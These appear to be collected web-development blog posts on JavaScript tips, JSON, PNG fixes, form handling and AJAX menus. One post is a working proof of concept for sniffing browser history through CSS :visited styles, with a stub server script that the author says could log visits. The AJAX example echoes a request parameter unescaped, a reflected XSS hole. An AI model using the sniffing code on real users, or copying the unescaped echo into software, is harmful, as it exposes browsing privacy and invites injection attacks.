JavaScript code quality

I’ve programmed in a lot of different languages, and with various IDE’s. The one area that has always been lacking is a simple means to review JavaScript code for common errors, both syntactical and format. This is where JSLint and JavaScript Lint come in…. these represent the tooling previously available to other languages like C++ and Java, where you can analyze code without actually executing it to identify problem areas. Often, these are items like ‘missing semicolons’ that occasionally cause difficult to find errors in browsers.

These can be scripted to execute from the command line or within (some) IDE’s on several operating systems.

JavaScript StringBuffer

Eventually, you come to a point where the performance of JavaScript becomes an issue.  Most modern browsers have made significant improvements  in their javascript engines, unfortunately Microsoft has yet to do the same.  MSIE’s (at least up to and including MSIE8)  javascript performance lags far behind Mozilla/Firefox, Safari, Chrome and Opera.

String concatenation is extremely slow in MSIE,  but arrays are generally fast… as such it’s often beneficial to implement an object similar to the Java StringBuffer (or StringBuilder) for JavaScript.

The StringBuffer implementation… you can customize to make it more functional, but this is the core:

function StringBuffer(){
this.buffer = [];
}
StringBuffer.prototype.append = function append(string){
this.buffer.push(string);
return this;
};
StringBuffer.prototype.toString = function toString(){
return this.buffer.join(“”);
};

Example:

function example_slow(x1,x2,x3){
var rc = x1;
rc+=x2;
rc+=x3;
return rc;
}

function example_fast(x1,x2,x3){
var sb = new StringBuffer();
sb.append(x1);
sb.append(x2);
sb.append(x3);
return sb.toString();
}

References:

Cheers

Yahoo! Exceptional Performance (for Web Applications)

I spend a LOT of time trying to optimize web applications to run and appear as fast as possible, one of the most valuable tools I have in my “bag of tricks” is the YSlow! plugin for Firefox.

It integrates in the browser and gives a near real-time scoring of the pages you visit and suggestions on how to improve them. While some of the suggestions are not practical (for example: use of a CDN) the bulk of them can be applied to your application code or server with a little bit of work.

The rules and scoring mechanisms are well documented at the following website:

The YSlow! plugin is available here:
http://developer.yahoo.com/yslow/

Happy… Faster Surfing!

Accessible alternative to NOSCRIPT

Over the past few years, JavaScript has evolved from a website ‘add-on’ (primarily for non-critical features like animations) to a requirement for use. Many sites still rely on the tried and true ‘noscript’ tag for this purpose, unfortunately, it’s not always practical or accessible to do so.

A better way would be to use standard markup in the page, but use the scripting to ‘hide’ the content you don’t want users with JavaScript enabled to see.

This can be taken to great lengths, but here’s a very simplified example:
<div id=”noscript”>Please enable JavaScript to use this feature.</div>
<script type=”text/javascript”>
var obj = document.getElementById(‘noscript’);
obj.style.display=’none’;
</script>

REFERENCES:

Cheers!

JSON – JavaScript Object Notation

Here’s another simple way to optimize code and network traffic. XML… by it’s very definition is wasteful as it exchanges size for readability. JSON is a different approach that maintains readability as well as reduces the size to a minimum. This method can be used in any client-server environment, not just between a browser and server.

JSON (JavaScript Object Notation) is a lightweight data-interchange format that is easy for humans to and machines to read/parse and write/generate. JSON is a text format that is completely language independent but uses conventions that are familiar to most programmers familiar with OO languages.

JSON is built on two structures:

  • A collection of name/value pairs. In various languages, this is realized as an object, record, struct, dictionary, hash table, keyed list, or associative array.
  • An ordered list of values. In most languages, this is realized as an array, vector, list, or sequence.

Key Concepts:

  • An object is an unordered set of name/value pairs. An object begins with { (left brace) and ends with } (right brace). Each name is followed by : (colon) and the name/value pairs are separated by , (comma).
  • An array is an ordered collection of values. An array begins with [ (left bracket) and ends with ] (right bracket). Values are separated by , (comma).
  • A value can be a string in double quotes, or a number, or true or false or null, or an object or an array. These structures can be nested.
  • A string is a collection of zero or more Unicode characters, wrapped in double quotes, using backslash escapes. A character is represented as a single character string. A string is very much like a C or Java string.
  • A number is very much like a C or Java number, except that the octal and hexadecimal formats are not used.

REFERENCES:

Cheers!

Writing Popup HTML content with Javascript

Occasionally, there come a time when old tricks become handy on solving new problems. Recently, an application that I support had some serious network latency when attempting to open a popup consisting exclusively of static content. While this small page came from a webserver with appropriate caching headers being sent, it still took upwards of 2 seconds for the page to be displayed by the client browser because of network latency issues. 

True, this was for MSIE, and there are some notorious performance issues with the javascript used for popups, but those are different topics to be discussed later.

Old implementation, loads content of ‘somefile.html’ as a url popup:

<script type=”text/javascript”><!–
function testwindow(){
  var linkWin = window.open(‘/somefile.html’,”,’width=300,height=200,scrollbars=no,toolbar=no’);
}
// –></script>
<a href=”javascript:testwindow();”>TEST</a>

New implementation, creates content of ‘somefile.html’ in javascript instead:

<html>
<head>
<title>Popup Demo</title>
<script type=”text/javascript”>
function testwindow(x) {
  var content;
  var linkWin = window.open(”,”,’width=300,height=200,scrollbars=no,toolbar=no’);
  if (!linkWin.opener) { linkWin.opener = self; }
    content = “<!DOCTYPE html><html><head>”;
    content += “<title>Example</title>”;
    content += ‘</head><body bgcolor=”#ccc”>’;
    content += “<p>Any HTML will work, just make sure to escape \”quotes\”,”;
    content += ‘or use single-quotes instead.</p>’;
    content += “<p>You can even pass parameters… (” + x + “)</p>”;
    content += “</body></html>”;
    linkWin.document.open();
    linkWin.document.write(content);
    linkWin.document.close();
    //return false;
  }
</script>
</head>
<body>
<a href=”javascript:testwindow(‘this is x’);”>TEST</a>
</body>
</html>

NOTE: there is one small performance tradeoff here,  in the ‘new’ case you will always be downloading the content of the popup, even if you never use it.  This can be remediated by adding it to an external static .JS file.
Cheers!

MSIE PNG Alpha Transparency

In usual form, MSIE doesn’t directly implement Alpha-Transparency on PNG images. Typically this feature is used to allow for anti-aliased gradients on images so that they can be used to support a variety of backgrounds.

There are a variety of solutions online for this problem, however I take issue with most, here’s why:

  • .htc files – this is a proprietary Microsoft solution, to add support on most web servers the MIME type must also be added.
  • filter: progid: – this too is utilizing a standard in Microsoft’s own particular way.

While neither of these is perfect, the ‘filter:’ is obviously the best of two evils. Surround it with the “Conditional If” comments (previously documented) and you’re at least safe for most other browsers.

Here’s my example code:

<!–[if gte IE 5.5000]>
<script type=”text/javascript”>
function correctPNG() // correctly handle PNG transparency in Win IE 5.5 or higher.
{
for(var i=0; i<document.images.length; i++)
{
var img = document.images[i]
var imgName = img.src.toUpperCase()
if (imgName.substring(imgName.length-3, imgName.length) == “PNG”)
{
var imgID = (img.id) ? “id='” + img.id + “‘ ” : “”;
var imgClass = (img.className) ? “class='” + img.className + “‘ ” : “”;
var imgTitle = (img.title) ? “title='” + img.title + “‘ ” : “title='” + img.alt + “‘ “;
var imgStyle = “display:inline-block;” + img.style.cssText;
if (img.align == “left”) imgStyle = “float:left;” + imgStyle;
if (img.align == “right”) imgStyle = “float:right;” + imgStyle;
if (img.parentElement.href) imgStyle = “cursor:hand;” + imgStyle;
var strNewHTML = “<span ” + imgID + imgClass + imgTitle
+ ” style=\”” + “width:” + img.width + “px;height:” + img.height + “px;” + imgStyle + “;”
+ “filter:progid:DXImageTransform.Microsoft.AlphaImageLoader”
+ “(src=\'” + img.src + “\’, sizingMethod=’scale’);\”></span>”;
img.outerHTML = strNewHTML;
i = i-1;
}
}
}
window.attachEvent(“onload”, correctPNG);
</script>
<![endif]–>

References:

Good luck out there!

Single FORM INPUT causes submit on Enter/Return

This is a browser oddity that I’ve had to code around for years.  In most modern browsers (currently Mozilla Firefox 2.x and MSIE 7.0), when a FORM contains only one editable INPUT field pressing the Enter or Return key will automatically submit the form, but when there are more than one the form is not submitted.   This irregularity in the single field case is responsible for several odd errors, and often results in double-submits of form data to the server.

Here’s a newer solution to the problem, the ‘magic’ is in the javascript events that we’ve added to the FORM object itself, no longer do you have to place event handlers on every INPUT field as has often been done in the past.

NOTE: not completely valid XHTML for ease of documentation and readability.

<html>
<head>
<title>test of input submit</title>
<script type=”text/javascript”>
function keycheckForm(formObj,evt){
if(isEnter(evt)){
//alert(‘in form’);
if(checkFormInputs(formObj)){
formObj.submit();
}
}
}
/*
* Added to handle enter key press
* NOTE: this is based on  a ‘legacy’ function [checkEnter(e)] that returned the reverse boolean values.
* @param evt Event
* @return boolean
*/
function isEnter(evt){ //e is event object passed from function invocation
var characterCode; //literal character code will be stored in this variable
if(evt && evt.which){ //if which property of event object is supported (NN4)
characterCode = evt.which; //character code is contained in NN4’s which property
}else{
characterCode = evt.keyCode; //character code is contained in IE’s keyCode property
}
var rc = false;
if(characterCode == 13){ //if generated character code is equal to ascii 13 (if enter key)
rc = true;
}
return rc;
}
/**
* @param formObj Object
*/
function checkFormInputs(formObj){
var rc = false;
var allInputs=formObj.getElementsByTagName(‘INPUT’);
var formInputs = allInputs.length;
var textInputs=0;
if(formInputs>1){
var ct = allInputs.length;
var i;
for(i=0; i < ct; i++){
var inputObj = allInputs[i];
var typ = inputObj.type;
if ((typ==’text’) || (typ==’password’)) {
textInputs=textInputs+1;
}
}
if(textInputs>1){
rc=true;
}
}
if(rc==false){
//alert(“blocked because of size”);
}
return rc;
}
</script>
</head>
<body>
<form action=”example.php” method=”get” onkeypress=”return keycheckForm(this,event);” onsubmit=”return checkFormInputs(this);”>
<input type=”text” name=”textfield1″ value=”testing1″ />
<button type=”button” name=”mybutton” onclick=”this.form.submit();”>Click Me</button>
</form>
</body>
</html>

Cheers!

Exploiting Browser History via CSS

Marketing people will likely love this hack. Information Security types may dislike the exposure of potentially sensitive information. Browser Accessibility individuals will obviously dislike that the fix removes standard ‘history’ behaviors from the browser in many cases.

Cascading Style Sheets (CSS) is a stylesheet language used to describe the presentation of a document written in a markup language, such as HTML. CSS is NORMALLY not a security concern as the technology does not directly effect anything outside of the webpage being viewed. Unfortunately with modern browsers (newer than 4.x), the CSS :visited pseudo-class can be exploited in the following manner to notify a phisher when a user has visited the web page.

  1. A different ‘style’ (color, font, background-image, position) can be set for visited links, allowing this “difference” to be detected via javascript and thus reported back to the website owners.
  2. A background-image defined in CSS “COULD” be a program that records the visited link directly (and allows the display of an image on the website).

There are several ways that this data can be exploited and shared with ‘other’ websites. I’ve included a simple JavaScript “alert()” in my Proof of Concept, the rest should be obvious to any developer with a decent knowledge of web technologies such as JavaScript, DOM, CSS and AJAX.

As ‘contexual’ links are a web standard, and users generally expect to see ‘visited’ links styled differently than ‘unvisited’ links, this behavior and user expectations must also be changed.

Thankfully, there are Mozilla plugins to defend against just this sort of attack:

References:

While unrelated to this particular defect, it helps to understand what else is typically shared between websites. Generally, the ‘Referring URL’ (the page where the link to a new website exists) is shared with the receiving website. Some browsers allow for this HTTP Header to be blocked to prevent this sort of tracking.
Example Code:

<html>
<head>
<title>CSS History Exploit</title>
<style type="text/css">
a.somecls:visited { background-image: url('exploit-image.php?example=cls'); }
a#someid:visited { background-image: url('exploit-image.php?example=id'); }
a:visited { color:red; }
a:link { color:green; }
</style>
<script type="text/javascript">
function xgetHelper(id){
var obj = null;
try {
obj = document.getElementById(id);
} catch(z) {
var dummy=alert("Error:" + z);
}
return obj;
}
function xmillis(){
return new Date().getTime();
}
/*
* This example looks at existing links on the page by using known 'id's for them
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistory(obj){
var a1=exploitHistoryID('a1');
var a2=exploitHistoryID('a2');
var a3=exploitHistoryID('a3');
var rc = a1 + "|" + a2 + "|" + a3;
alert(rc);
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistoryDOM(obj){
var x=xgetHelper('links');
var children=x.getElementsByTagName('a');
var rc = '';
for(var i=0; i < children.length; i++){
var b=exploitHistoryOBJ(children[i]);
if(rc!=""){ rc=rc+"|"; }
rc=rc+b;
}
alert(rc);
}
/*
* @param id String
* @return boolean
*/
function exploitHistoryID(id){
var obj=xgetHelper(id);
return exploitHistoryOBJ(obj);
}
/*
* Checks the current CSS color attribute on an (anchor) link to see if it's been visited, indicating that it is in browser history.
* @param obj Object - the HTML (a) tag
* @return boolean
*/
function exploitHistoryOBJ(obj){
var rc=false;
var moz_match='rgb(255, 0, 0)';
var msie_match='red';
if(obj!=null){
var rgb='';
try{
rgb=obj.getStyle('color');//obj.style.backgroundImage;
match=moz_match;
}
catch(e){
// this is likely because the above is Mozilla/DOM dependent, try MSIE currentStyle
try{
var cs=obj.currentStyle;
if(cs!=null){
rgb=cs.color;
}
match=msie_match;
}
catch(e){
//alert('Error:' + e);
}
}
if(rgb==match){
rc=true;
}
}
return rc;
}
/*
* Expects URL with queryString as param href
* @param x URL
* @return boolean
*/
function exploitHistoryURL(obj,x){
var obj=createURL(x);
var rc=exploitHistoryOBJ(obj);
alert(x + "=" + rc);
return false;
}
/*
* This will create an A HREF in the DOM and return the reference to the calling method.
* @param x URL
* @return obj Object of the generated FORM
*/
function createURL(x){
var rc=null;
try{
var id="url" + xmillis();
var oA=document.createElement("a");
oA.setAttribute("id",id);
oA.setAttribute("href",x);
//oA.setAttribute("style","display:none;");
var oBODY=document.getElementsByTagName("body")[0];
oBODY.appendChild(oA);
rc=oA;
}catch(e){
alert("Error"+e);
}
return rc;
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
* @param id String - 'id' of INPUT field
*/
function exploitIt(obj,id){
var rc=false;
var aINPUT=xgetHelper(id);
if(aINPUT!=null){
var x=aINPUT.value;
rc=exploitHistoryURL(obj,x);
alert(x + "=" + rc);
}
return false;
}
</script>
</head>
<body>
<p>NOTE: Not so obvious in this example, without looking at the code, is that a PHP file (exploit-image.php) is used to generate the background-image, it COULD be crafted to send data to this (or any other) website for analysis.</p>
<p id="links">[ <a id="a1" href="http://www.giantgeek.com/">http://www.giantgeek.com/</a> |
<a id="a2" href="http://www.skotfred.com/">http://www.skotfred.com/</a> |
<a id="a3" href="http://localhost/">http://localhost/</a> |
<a href="http://slashdot.org/">http://slashdot.org/</a> |
<a href="http://www.mozilla.org/" class="somecls">http://www.mozilla.org/</a> |
<a href="http://www.microsoft.com/" id="someid">http://www.microsoft.com/</a>
]</p>
<a href="javascript:void(0);" onclick="exploitHistory(this);">Exploit History via CSS</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryDOM(this);">Exploit History via CSS - DOM</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryURL(this,'http://www.skotfred.com/');">Exploit History via CSS - URL (http://www.skotfred.com/)</a><br />
<form action="#" method="get" onsubmit="return false;">
<input type="text" name="url" id="url" value="" /><button type="button" onclick="return exploitIt(this,'url');">CHECK</button>
</form>
</body>
</html>

Supporting file for exploit-image.php (STUB for example):

<?php
// NOTE: you could read the param and log the URL here (if desired) this just redirects for now.
//header("Cache-Control: no-store");
header('Location: /images/anim.gif');
?>

Cheers, you’ll probably want a drink after that, either to celebrate or forget!

Dynamic Site Navigation with AJAX

Recently a navigation challenge that I encountered was “better” resolved by implementing an AJAX “like” solution. While not a complete AJAX solution, this works by requesting and inserting HTML into the DOM dynamically. The HTML could even be the same content that is used when the page was initially generated allowing for the initial page render to be static HTML, and only the options to be dynamic.

This is an extension on my previous ‘Flexible AJAX Framework’ entry and adds the following features and methods:

  • Two column example page layout.
  • Page level caching of AJAX Responses.
  • JavaScript methods:
    • var pageLoadTime; – variable for page level caching.
    • function ajaxObjPageCache(obj,url,async,callback) – method for page level caching.
    • function menuAjaxHook(obj,customObj); – response handler that updates UI.
    • function xinnerHTML(id,txt); – this is a common component used by the example.
    • function testAjaxMenu(obj,menu); – test method for example.

The full example (in PHP) follows:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>AJAX Menu Example</title>
<script type="text/javascript">
var xbusy = true;
var xhr = null;
var otherHost = "http://example.giantgeek.com"; // do not use training slash!
var pageLoadTime = xmillis();// set this once per page for some caching solutions!
/**
* Check for existance on DOM browsers (Mozilla, etc.)
* @return xhr
*/
function ajaxCheckDOM(){
var myxhr = null;
if(window.XMLHttpRequest) {
try {
myxhr = new XMLHttpRequest();
}
catch(e) {}
}
return myxhr;
}
/**
* Check for existance on Windows/MSIE (prior to MSIE7 which is now DOM)
* Evaluate using - new ActiveXObject("Microsoft.XMLDOM");
* @return xhr
*/
function ajaxCheckActiveX(){
var myxhr = null;
//if(window.ActiveXObject){
try {
myxhr = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e) {
try {
myxhr = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {}
}
//}
return myxhr;
}
/**
* This is a default response hook for AJAX, you SHOULD create your own as it's only for DEMO
* @param obj - the clicked item
* @param customObj - user defined
*/
function ajaxResponseHook(obj,customObj){
var txt = xhr.responseText;// NOTE: xhr.responseXML is also valid
popStatus('AJAX Response value [' + txt + '|' + customObj +']','');
}
/**
* This is a common Response handler AJAX, you SHOULD NOT need to modify, use a 'custom' ajaxhook function to process the responses.
* @param obj - the clicked item
* @param ajaxhook Function (default will be used if undefined)
* @param customObj (optional - left for developer implementation, passed to the ajaxhook)
*/
function ajaxResponse(obj,ajaxhook,customObj){
var status='';
if(xhr!=undefined){
var state=xhr.readyState;
if(state!=undefined){
if(state==4){
var code = xhr.status;
status = xhr.statusText;
if(code==200){
popStatus('AJAX Response Received.','');
if(ajaxhook==undefined){
ajaxhook = function(){ ajaxResponseHook(obj,customObj); }
}
ajaxhook(obj,customObj);
ajaxBusy(obj,false);
} else {
popStatus('AJAX Error ' + code + ' ' + status + '.','');
}
ajaxBusy(obj,false);
xhr=null; /* MSIE6 leak fix */
}
}
}
}
/**
* NOTE: MSIE6-7 supports XSS url's (be careful!)
* @param obj - the clicked item
* @param url - the GET url params (FQDN)
* @param async (true or false) - false will LOCK browser until response - use cautiously!
* @param callback Function - allows for customized response handling
*/
function ajaxObj(obj,url,async,callback){
if(xbusy == true){
popStatus('AJAX BUSY, Please Retry.','');
} else {
if(callback==undefined){
callback = function(){ ajaxResponse(obj,hook,''); }
}
ajaxInit(obj,url,async,callback);
}
}
/**
* This is a Non-Caching implementation of ajaxObj() to show how you can avoid the MSIE caching issue.
* NOTE: You can use similar approaches to cache per page or session.
* @param obj - the clicked item
* @param url - the GET url params (FQDN)
* @param async (true or false) - false will LOCK browser until response - use cautiously!
* @param callback Function - allows for customized response handling
*/
function ajaxObjNoCache(obj,url,async,callback){
var cacheBuster=uniqueUrl(url);// damn MSIE!
ajaxObj(obj,cacheBuster,async,callback)
}
/**
* This is a Page-Caching implementation of ajaxObj() to allow for requests to be cached per pageload.
* @param obj - the clicked item
* @param url - the GET url params (FQDN)
* @param async (true or false) - false will LOCK browser until response - use cautiously!
* @param callback Function - allows for customized response handling
*/
function ajaxObjPageCache(obj,url,async,callback){
var cacheBuster=urlAppender(url,'.cache',pageLoadTime); // pageLoadTime should remain unchanged for page life.
ajaxObj(obj,cacheBuster,async,callback)
}
/**
* Initializes the AJAX operation
* @param obj - item clicked
* @param url - FQDN
* @param async (true/false) - for locking
* @param callback Function - provided for customization.
*/
function ajaxInit(obj,url,async,callback){
xhr=ajaxCheckDOM();
if(!xhr){
xhr=ajaxCheckActiveX();
}
if(xhr){
ajaxBusy(obj,true);
popStatus('AJAX Start.','');
xhr.onreadystatechange = callback; // method call
try {
xhr.open('GET',url,async); /* POST */
//xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(''); /* null */
}
catch(e)
{
if(xhr){
var code = xhr.status;
var status = xhr.statusText;
popStatus('AJAX Client SECURITY ' + navigator.appName +' '+ navigator.appVersion + ' ' + code + ' ' + status + '.','');
}
}
ajaxBusy(obj,false);
} else {
popStatus('AJAX Client ERROR.','');
}
}
function ajaxBusy(obj,yn){
if(yn){
swapStyleObj(obj,'idle','busy');
} else {
swapStyleObj(obj,'busy','idle');
}
xbusyInd(yn,'');
}
function xmillis(){
return new Date().getTime();
}
function swapStyleObj(obj,oldCSS,newCSS){
if(obj!=undefined) {
var current=obj.className;
if(current!=undefined){
var txtOld = current.replace(newCSS,' ');//no doubles
var txtMid = txtOld.replace(oldCSS, ' ');
var txtNew = (txtMid + ' ' + newCSS);
obj.className = txtNew;
} else {
obj.className = newCSS;
}
}
}
function xbusyInd(valnew, msg){
xbusy = valnew;
if(xbusy==true){
document.body.style.cursor='wait';
if(msg != ''){
top.window.defaultStatus=msg;
popStatus(msg,'');
}
showDiv('throbber');
//blockScreen();
} else {
document.body.style.cursor='default';
hideDiv('throbber');
//unBlockScreen();
}
}
function showDiv(id) { //show a div
var obj=xgetHelper(id);
if(obj!=null){ obj.style.display="block";}
//xrestart();
}
function hideDiv(id) { //hide a div
var obj=xgetHelper(id);
if(obj!=null){ obj.style.display="none";}
//xrestart();
}
function popStatus(txt,title){
popit('statusdyn','statusarrow','statusul','statusdiv',txt,false,title,'');
}
function popit(dynId,arrowId,ulId,divId,txt,expand,title,cssCls){
popText(ulId,txt,title,cssCls);
showDiv(divId);
if(expand == true){
var arrowObj=xgetHelper(arrowId); if(arrowObj!=null){ arrowObj.style.backgroundPosition='2px -106px'; }
showDiv(dynId);
}
}
function popText(id,txt,title,cssCls){
var obj = xgetHelper(id);
if(obj != null){
var oldHTML = obj.innerHTML;
var cls=''; if(cssCls!=''){ cls=' class="' + cls +'"'; }
var htm = '<'+'li'+ cls +'>' + txt + '<'+'/'+'li'+'>' + oldHTML;
obj.innerHTML = htm;
}
}
function xgetHelper(id){
var obj = null;
try {
obj = document.getElementById(id);
} catch(z) {
var dummy=alert("Error:" + z);
}
return obj;
}
function arrowTog(objectID,arrow) {
var obj = xgetHelper(objectID);
if(obj!=null){
if (obj.style.display =='block') {
arrow.style.backgroundPosition = '2px -21px';}
else {arrow.style.backgroundPosition = '2px -106px';}
objTog(objectID);
}
return false;
}
function objTog(objectID) {
var obj = xgetHelper(objectID);
if(obj!=null){
if (obj.style.display =='block') obj.style.display='none';
else {obj.style.display='block';}
}
return false;
}
function headTog(objectID,arrow) {
var obj = xgetHelper(objectID);
if(obj!=null){
if (obj.style.display =='block') {
arrow.style.borderBottomWidth = '1px';}
else {arrow.style.borderBottomWidth = '0px';}
arrowTog(objectID,arrow);
}
return false;
}
/*
* adds timestamp to URLs to make them unique
* @param URL String
*/
function uniqueUrl(x){
return urlAppender(x,'.cache',xmillis());
}
/*
* helps to add parms to the url
* @param URL String
* @param aname String
* @param avalue String
*/
function urlAppender(x,aname,avalue){
var delim = "?";
if(x.indexOf("?") >=0) { delim = "&"; }
return x + delim + aname + '=' + avalue;
}
function xload(){
hideDiv('throbber');
xbusy=false;
}
function testAjax(obj){
var callback=function(){ ajaxResponse(obj,null,'testAjax'); }
var x = ajaxObjNoCache(obj,'/ajax.php',true,callback);
}
function testAjaxParms(obj){
var callback=function(){ ajaxResponse(obj,null,'testAjaxParms'); }
var x = ajaxObjNoCache(obj,'/ajax.php?testing=Y',true,callback);
}
function testAjaxXSS(obj){
var callback=function(){ ajaxResponse(obj,null,'testAjaxXSS'); }
var x = ajaxObjNoCache(obj,otherHost+'/ajax.php',true,callback,otherHost);
}
function testAjaxHook(obj){
var hook=function(){ customAjaxHook(obj,'ajaxhookTestMessageObect'); }
var callback=function(){ ajaxResponse(obj,hook,'testAjaxHook'); }
var x = ajaxObjNoCache(obj,'/ajax.php',true,callback);
}
function testAjaxHookXSS(obj){
var hook=function(){ customAjaxHook(obj,'ajaxhookXSSMessageObect'); }
var callback=function(){ ajaxResponse(obj,hook,'testAjaxHookXSS'); }
var x = ajaxObjNoCache(obj,otherHost+'/ajax.php',true,callback);
}
function testAjaxMenu(obj,menu){
var mms_start=xmillis();
var hook=function(){ menuAjaxHook(obj,mms_start); }
var callback=function(){ ajaxResponse(obj,hook,'testAjaxHookXSS'); }
var x = ajaxObjPageCache(obj,'/ajaxmenu.php?menu='+menu,true,callback);
}
/**
* This is a custom implemenation, the customObj COULD be used for anything (perhaps delay measurement!)
* @param obj - the clicked item
* @param customObj - user defined
*/
function menuAjaxHook(obj,customObj){
var diff = xmillis() - customObj; // difference from click to now!
popStatus('AJAX Menu Response time [' + diff +'mms]','');
var htm = xhr.responseText;// NOTE: xhr.responseXMLis also valid
xinnerHTML('menu',htm);
}
/**
* This is a custom implemenation, the customObj COULD be used for anything (perhaps delay measurement!)
* @param obj - the clicked item
* @param customObj - user defined
*/
function customAjaxHook(obj,customObj){
var xml = xhr.responseXML;// NOTE: xhr.responseText is also valid
var tmp = 'DEMO customAjaxHook [' + customObj + ']\n' + xml;
alert(tmp);
}
function xinnerHTML(id,txt){
var obj = xgetHelper(id);
if(obj!=null){
if((txt != null) && (txt != "")){
obj.innerHTML = txt;
}
}
}
</script>
<style type="text/css">
div#container {position:absolute;top:0;left:0;padding-right:10px;}
div#nav_col {position:absolute;left:0;
float:left;
width:140px;padding-left:7px;
}
div#container > div#nav_col {position:relative;}

div#main {margin-left:160px;border:1px dotted #fff;/*vertical-align:top; causes table gaps bug*/
width:99.9%;
voice-family: “\”}\””;
voice-family:inherit;
width:auto;}
.busy { color:red; }
.idle { color:black; }
</style>
</head>
<body onload=”xload();”><!– onbeforeunload=”alert(‘before’);” onunload=”alert(‘after’);” –>
<div id=”throbber”>WORKING!</div>
<div id=”container”>
<div id=”nav_col”>
<div id=”menu”>EMPTY Menu</div>
</div>
<div id=”main”>
<div id=”statusdiv” class=”dyn” style=”display:none;”>
<h3><a id=”statusarrow” onclick=”headTog(‘statusdyn’,this);” href=”javascript:void(0);”>Status</a></h3>
<fieldset id=”statusdyn” style=”display:block;background-color:#ffffcc;”>
<div id=”statusBox” class=”box”>
<ul id=”statusul” class=”error”>
<li id=”ajaxStatus” style=”list-style:none;display:none;”>FILLER</li>
</ul>
</div>
</fieldset>
</div>
<h3><a href=”javascript:void(0);” onclick=”testAjax(this);”>TEST</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxParms(this);”>TESTPARMS</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxXSS(this);”>TESTXSS</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxHook(this);”>TESTHOOK</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxHookXSS(this);”>TESTHOOKXSS</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxMenu(this,’ACCT’);”>TESTMenuACCT</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxMenu(this,’USER’);”>TESTMenuUSER</a></h3>
<p><a href=”index.php”>RELOAD</a></p>
</div><!– main –>
</div><!– container –>
</body>
</html>

ajax.php – for the original test code:

<?php
//header("Cache-Control: no-store");
header("Charset: UTF-8");
header("Content-Type: text/xml");
echo("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
?>
<test><?php echo( gmdate("D, d M Y H:i:s") ) ?> </test>

ajaxmenu.php – example menu behavior:

<?php
//header("Cache-Control: no-store");
header("Charset: UTF-8");
header("Content-Type: text/html");
?>
<ul>
<li>MENU:</li>
<li><?php echo($_GET['menu']) ?> </li>
<li><?php echo( gmdate("D, d M Y H:i:s") ) ?> </li>
</ul>

Cheers!